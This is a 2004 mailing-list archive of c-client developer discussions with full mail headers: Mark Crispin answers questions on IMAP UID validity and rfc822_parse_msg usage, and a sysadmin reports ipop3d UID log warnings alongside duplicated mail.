    -------------------------------1099346507-- From pinedev@shivax2.cac.washington.edu Mon Nov 1 15:33:47 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Mon, 1 Nov 2004 15:33:47 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA1NXlDS004487 for ; Mon, 1 Nov 2004 15:33:47 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA1NXk4O026446 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 1 Nov 2004 15:33:47 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iA1NXeK1014078; Mon, 1 Nov 2004 15:33:40 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA1NV6ow033512 for ; Mon, 1 Nov 2004 15:31:06 -0800 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA1NV5ss021914 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Mon, 1 Nov 2004 15:31:05 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA1NV4Gx002730; Mon, 1 Nov 2004 15:31:04 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA1NV4hs006142 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Mon, 1 Nov 2004 15:31:04 -0800 Message-Id: Date: Mon, 1 Nov 2004 15:29:01 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: DavidDDaveg@aol.com Cc: c-client@u.washington.edu Subject: Re: questions about how to do multiple IMAP sessions to the server in c-client In-Reply-To: <1e8.2cda4186.2eb80c4b@aol.com> References: <1e8.2cda4186.2eb80c4b@aol.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Mon, 1 Nov 2004 DavidDDaveg@aol.com wrote: > 2. check the validity of the UIDs, (is there a function in c-client does > this?) It's not a function. It's the uid_validity on the stream (e.g. stream->uid_validity). If it is different from the uid_validity from a previous stream, then none of the UIDs from the previous stream are useful any more. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Nov 2 11:53:23 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 2 Nov 2004 11:53:23 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA2JrNSq013378 for ; Tue, 2 Nov 2004 11:53:23 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA2JrMQ8026871 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 2 Nov 2004 11:53:22 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iA2JrBQM014854; Tue, 2 Nov 2004 11:53:12 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA2Jpn93032592 for ; Tue, 2 Nov 2004 11:51:49 -0800 Received: from design.uz (ev1s-207-44-184-40.ev1servers.net [207.44.184.40] (may be forged)) by mxe4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with SMTP id iA2JpmLi001381 for ; Tue, 2 Nov 2004 11:51:49 -0800 Received: (qmail 4275 invoked by uid 5002); 2 Nov 2004 19:51:34 -0000 Received: from akmal@angren.org by mail.design.uz by uid 5002 with qmail-scanner-1.22 (sophie: 3.04/2.19/3.81. spamassassin: 2.63. Clear:RC:1(195.69.188.129):. Processed in 1.922009 secs); 02 Nov 2004 19:51:34 -0000 Received: from unknown (HELO ?192.168.2.5?) (195.69.188.129) by mail.design.uz with SMTP; 2 Nov 2004 19:51:32 -0000 Message-Id: <182394125.20041103005148@angren.org> Date: Wed, 3 Nov 2004 00:51:48 +0500 Reply-To: Akmal Khodjanov Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Akmal Khodjanov To: c-client@u.washington.edu Subject: Creating ENVELOPE and BODY from a string MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-Uwash-Spam: Gauge=X, Probability=10%, Report='PRIORITY_NO_NAME 0.716, __BAT_MSGID 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_PRIORITY 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello list, I'm really a newbie in c-client. Could somebody instruct me if I'm doing something wrong here. The contents of the envelope is getting parsed just fine, but the body contents are empty. char *msg; // I'm placing the message into this string char *bodystring; // that's where the body string actually is after cutting off the header part int hdrLength; // the length of the header, calculated when I was cutting off the header part ENVELOPE *env = NIL; BODY *body = NIL; STRING str; INIT(&str, mail_string, const_cast(bodystring), strlen(bodystring)); rfc822_parse_msg(&env, &body, const_cast(msg), hdrLength, &str, "", 0); Thanks a lot in advance, any help is appreciated. -- Best regards, Akmal ----------------------------------- "I have a quantum car. Every time I look at the speedometer I get lost..." -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Nov 2 12:24:03 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 2 Nov 2004 12:24:03 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA2KO34B014615 for ; Tue, 2 Nov 2004 12:24:03 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA2KO2os007705 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 2 Nov 2004 12:24:03 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iA2KNrN2017694; Tue, 2 Nov 2004 12:23:53 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA2KMset052210 for ; Tue, 2 Nov 2004 12:22:54 -0800 Received: from mxout6.cac.washington.edu (mxout6.cac.washington.edu [140.142.33.20]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA2KMst0012531 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 2 Nov 2004 12:22:54 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout6.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA2KMrQi006171; Tue, 2 Nov 2004 12:22:53 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA2KMqji009959 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 2 Nov 2004 12:22:53 -0800 Message-Id: Date: Tue, 2 Nov 2004 12:20:50 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Akmal Khodjanov Cc: c-client@u.washington.edu Subject: Re: Creating ENVELOPE and BODY from a string In-Reply-To: <182394125.20041103005148@angren.org> References: <182394125.20041103005148@angren.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Your call looks right, although the "host" argument should not be an empty string; if you don't want to specify a localhost pass a NIL argument to default to the internal BADHOST. When you say "the body contents are empty" what do you mean? At the very least you should have a TEXT/PLAIN body passed back. Also, why are you calling rfc822_parse_msg()? This is a very low-level routine in c-client. For most purposes, you would use the higher level mail_fetch_structure() instead. If you use the low-level routines, you may be causing yourself a lot more work than is necessary. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Nov 2 13:01:37 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 2 Nov 2004 13:01:37 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA2L1bDc015913 for ; Tue, 2 Nov 2004 13:01:37 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA2L1ald009182 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 2 Nov 2004 13:01:36 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iA2L1TgH011970; Tue, 2 Nov 2004 13:01:29 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA2L08vl052208 for ; Tue, 2 Nov 2004 13:00:08 -0800 Received: from design.uz (ev1s-207-44-184-40.ev1servers.net [207.44.184.40] (may be forged)) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with SMTP id iA2L07dV020640 for ; Tue, 2 Nov 2004 13:00:07 -0800 Received: (qmail 7039 invoked by uid 5002); 2 Nov 2004 20:59:53 -0000 Received: from akmal@angren.org by mail.design.uz by uid 5002 with qmail-scanner-1.22 (sophie: 3.04/2.19/3.81. spamassassin: 2.63. Clear:RC:1(195.69.188.129):. Processed in 1.641275 secs); 02 Nov 2004 20:59:53 -0000 Received: from unknown (HELO ?192.168.2.5?) (195.69.188.129) by mail.design.uz with SMTP; 2 Nov 2004 20:59:51 -0000 Message-Id: <794456656.20041103020007@angren.org> Date: Wed, 3 Nov 2004 02:00:07 +0500 Reply-To: Akmal Khodjanov Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Akmal Khodjanov To: Mark Crispin Cc: c-client@u.washington.edu Subject: Re[2]: Creating ENVELOPE and BODY from a string In-Reply-To: References: <182394125.20041103005148@angren.org> MIME-Version: 1.0 Content-Type: text/plain; charset=koi8-r Content-Transfer-Encoding: 8bit X-Priority: 3 (Normal) X-Uwash-Spam: Gauge=X, Probability=10%, Report='PRIORITY_NO_NAME 0.716, __BAT_MSGID 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_PRIORITY 0, __MIME_CHARSET_FARAWAY 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Dear Mark, Thanks for such operative respond. For example I'm passing to rfc822_parse_msg this: // start From: Akmal Khodjanov Subject: Testing message To: test@wazzu.dz Message-ID: <2136109942861212583@wazzu.dz> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE Hello there, this is a test. -akmal. // end after rfc822_parse_msg when I try to ouput the envelope and body contents I get this: // start Date: Wed, 3 Nov 2004 01:50:12 +0500 (West Asia Standard Time) From: Akmal Khodjanov Sender: Akmal Khodjanov Reply-To: Akmal Khodjanov Subject: Testing message To: test@wazzu.dz Message-ID: <2136109942861212583@wazzu.dz> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII Content-Disposition: INLINE // end As you see, in the second output I don't have body part, and can't figure out why. The reason why I wanted to use rfc822_parse_msg is to create c-client envelope and body from plain text file where email message could be saved, say in *.msg format. If there is any other option of doing this please let me know. Thanks. -akmal. -- Best regards, Akmal ----------------------------------- "I do not feel obliged to believe that the same God who has endowed us with sense, reason, and intellect has intended us to forgo their use." — Galileo Galilei. ....................................................... Wednesday, November 3, 2004, 1:20:50 AM, you wrote: MC> Your call looks right, although the "host" argument should not be an empty MC> string; if you don't want to specify a localhost pass a NIL argument to MC> default to the internal BADHOST. MC> When you say "the body contents are empty" what do you mean? At the very MC> least you should have a TEXT/PLAIN body passed back. MC> Also, why are you calling rfc822_parse_msg()? This is a very low-level MC> routine in c-client. For most purposes, you would use the higher level MC> mail_fetch_structure() instead. If you use the low-level routines, you MC> may be causing yourself a lot more work than is necessary. MC> -- Mark -- MC> http://staff.washington.edu/mrc MC> Science does not emerge from voting, party politics, or public debate. MC> Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Nov 2 14:22:09 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 2 Nov 2004 14:22:09 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA2MM8Bp018906 for ; Tue, 2 Nov 2004 14:22:08 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA2MM7F9012256 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 2 Nov 2004 14:22:08 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iA2MM0Lx017538; Tue, 2 Nov 2004 14:22:01 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA2MKkhS060208 for ; Tue, 2 Nov 2004 14:20:46 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA2MKkSX021216 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 2 Nov 2004 14:20:46 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA2MKjsP007520; Tue, 2 Nov 2004 14:20:45 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA2MKj3H031289 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 2 Nov 2004 14:20:45 -0800 Message-Id: Date: Tue, 2 Nov 2004 14:18:42 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Akmal Khodjanov Cc: c-client@u.washington.edu Subject: Re[2]: Creating ENVELOPE and BODY from a string In-Reply-To: <794456656.20041103020007@angren.org> References: <182394125.20041103005148@angren.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 3 Nov 2004, Akmal Khodjanov wrote: > after rfc822_parse_msg when I try to ouput the envelope and body > contents I get this: What do you mean by "body contents"? If you are talking about body->contents.text, that is not something that is set by rfc822_parse_msg(). In fact, that is not something that you should *ever* access in your application; it is strictly internal to c-client. That's why I suggest that you use the higher-level routines. If the message is truly in a non-mailbox form, you are better off writing a driver for it than calling rfc822_parse_msg() directly. Perhaps you can start by hacking the phile driver using the message loading capability from the mh driver. The proper use of rfc822_parse_msg() is very complicated, and only a careful study of mail.c will show you this. Fortunately, mail.c will do the work for you, if you have a driver. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Nov 2 14:27:16 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 2 Nov 2004 14:27:15 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA2MRFUU019076 for ; Tue, 2 Nov 2004 14:27:15 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA2MREMT012450 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 2 Nov 2004 14:27:15 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iA2MR2J4013512; Tue, 2 Nov 2004 14:27:03 -0800 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA2MQMv4063784 for ; Tue, 2 Nov 2004 14:26:22 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mxi3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA2MQLqP017550 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 2 Nov 2004 14:26:21 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout5.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA2MQKJC008784; Tue, 2 Nov 2004 14:26:20 -0800 Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA2MQKmY026852 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 2 Nov 2004 14:26:20 -0800 Message-Id: Date: Tue, 2 Nov 2004 14:24:17 -0800 (Pacific Standard Time) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Akmal Khodjanov Cc: c-client@u.washington.edu Subject: Re[2]: Creating ENVELOPE and BODY from a string In-Reply-To: References: <182394125.20041103005148@angren.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Tue, 2 Nov 2004, Mark Crispin wrote: > If you are talking about body->contents.text, that is not something that is > set by rfc822_parse_msg(). In fact, that is not something that you should > *ever* access in your application; it is strictly internal to c-client. If you really insist upon using rfc822_parse_msg(), you use body->contents.offset which is the offset into the stringstruct that you passed as the argument to rfc822_parse_msg(), along with the body->size.octets. body->contents.text is currently only used by the IMAP driver and by the sending modules (SMTP and NNTP send). -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Fri Nov 5 02:39:21 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 5 Nov 2004 02:39:21 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA5AdLJq008748 for ; Fri, 5 Nov 2004 02:39:21 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA5AdKQh015204 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 5 Nov 2004 02:39:20 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id iA5Acaf6012542; Fri, 5 Nov 2004 02:38:36 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA5AZXPF029610 for ; Fri, 5 Nov 2004 02:35:33 -0800 Received: from zuse.rz-zw.fh-kl.de (zuse.rz-zw.fh-kl.de [143.93.17.100]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA5AZUHB031610 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Fri, 5 Nov 2004 02:35:32 -0800 Received: from amavis by zuse.rz-zw.fh-kl.de with scanned-ok (Exim 3.35 #1 (Debian)) id 1CQ1RI-0000IN-00 for ; Fri, 05 Nov 2004 11:35:28 +0100 Received: from zuse.rz-zw.fh-kl.de ([127.0.0.1]) by localhost (mail.zw.fh-kl.de [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 29395-08 for ; Fri, 5 Nov 2004 11:35:25 +0100 (CET) Received: from sub17.rz-zw.fh-kl.de ([143.93.17.17] helo=zwo224-tv.ds.fh-kl.de) by zuse.rz-zw.fh-kl.de with esmtp (Cipher TLSv1:RC4-MD5:128) (Exim 3.35 #1 (Debian)) id 1CQ1RF-0000IA-00 for ; Fri, 05 Nov 2004 11:35:25 +0100 Message-Id: <200411051128.37579.tv@rz-zw.fh-kl.de> Date: Fri, 5 Nov 2004 11:28:37 +0100 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Timo Veith To: c-client@u.washington.edu Subject: errors with pop3 MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Disposition: inline X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at zw.fh-kl.de X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CD 0, __CT 0, __CTE 0, __CTYPE_CHARSET_QUOTED 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi c-client subscribers, one week ago I wrote the appended message to the debian-isp mailing list=20 but got no reply. So I thought to try it here. I also have searched the=20 list archive of c-client and found a similar problem posted on 19th of=20 march 2003 by "Harondel J. Sibble" , subject "uid=20 errors with pop3". It seems that there was no real answer to the=20 problem or am I wrong? I have a strange problem with the uw-imap ipop3d daemon. Yesterday four=20 users told me indepently that they've gotten duplicate mails. I asked=20 them how many mails they've gotten doubled and when that strange=20 behaviour started. One of them answered that it started around 17:00. This is about the=20 same time when I noticed the following log entries: Oct 25 08:48:41 zuse ipop3d[19125]: Message 4 UID 0 less than 4926 Oct 27 17:02:03 zuse ipop3d[27988]: Message 7 UID 32 less than 14107 Oct 27 17:02:08 zuse ipop3d[28012]: Message 124 UID 32 less than 146 Oct 27 17:02:22 zuse ipop3d[28255]: Message 196 UID 32 less than 3908 Oct 27 17:02:54 zuse ipop3d[28640]: Message 25 UID 32 less than 9984 Oct 27 17:02:54 zuse ipop3d[28578]: Message 425 UID 32 less than 2270 Oct 27 17:04:14 zuse ipop3d[28951]: Message 129 UID 32 less than 9912 Oct 27 17:04:26 zuse ipop3d[29009]: Message 427 UID 32 less than 427 Oct 27 17:06:03 zuse ipop3d[29343]: Message 2695 UID 32 less than 8961 Oct 27 17:06:12 zuse ipop3d[29401]: Message 660 UID 32 less than 3135 Oct 27 17:06:26 zuse ipop3d[29458]: Message 325 UID 32 less than 18611 Oct 27 17:06:49 zuse ipop3d[29485]: Message 523 UID 32 less than 43890 Oct 27 17:23:17 zuse ipop3d[31933]: Message 2084 UID 32 less than 2084 Oct 27 17:23:52 zuse ipop3d[32119]: Message 5 UID 32 less than 4110 Oct 27 17:33:07 zuse ipop3d[898]: Message 4 UID 32 less than 7412 Oct 27 18:05:50 zuse ipop3d[5562]: Message 2 UID 32 less than 5630 Oct 27 18:06:35 zuse ipop3d[5750]: Message 2 UID 32 less than 9098 Oct 27 20:20:38 zuse ipop3d[21608]: Message 12 UID 32 less than 12667 Oct 27 20:26:41 zuse ipop3d[22461]: Message 1586 UID 32 less than 28339 Oct 28 06:39:04 zuse ipop3d[14223]: Message 323 UID 32 less than 29023 Oct 28 06:55:35 zuse ipop3d[15684]: Message 2 UID 32 less than 3362 Oct 28 07:37:09 zuse ipop3d[19740]: Message 3 UID 32 less than 2813 Oct 28 07:42:09 zuse ipop3d[20356]: Message 4 UID 32 less than 3526 Oct 28 07:47:56 zuse ipop3d[21078]: Message 3 UID 32 less than 6210 Oct 28 07:57:20 zuse ipop3d[22515]: Message 331 UID 32 less than 331 Oct 28 09:24:04 zuse ipop3d[3396]: Message 186 UID 32 less than 187 Oct 28 09:30:48 zuse ipop3d[4640]: Message 20 UID 32 less than 5723 Oct 28 09:37:48 zuse ipop3d[5901]: Message 12 UID 32 less than 9318 Oct 28 10:03:01 zuse ipop3d[11465]: Message 2 UID 32 less than 17721 Oct 28 10:29:19 zuse ipop3d[16774]: Message 3 UID 32 less than 13953 Oct 28 10:30:47 zuse ipop3d[17217]: Message 2 UID 32 less than 8010 You can see that they appear cumulatively around 17:00. And there were=20 never that much of this kind before. The FAQ from uw-imap calls these=20 log messages harmless=20 ( http://www.washington.edu/imap/IMAP-FAQs/index.html#7.14 ) but I am=20 not sure if this can still be called harmless. My question is what circumstances can bring ipopd to suddenly behave=20 this way? Could it be users popping their mailbox too often? File=20 system corruption? Has anybody else experienced such a behaviour? My system is Debian woody, ipopd-ssl version =A02001adebian-6. TIA and kind regards, Timo -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Nov 5 07:59:43 2004 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Fri, 5 Nov 2004 07:59:43 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id iA5FxhAg017898 for ; Fri, 5 Nov 2004 07:59:43 -0800 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id iA5FxgQ4030592 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 5 Nov 2004 07:59:42 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with SMTP id 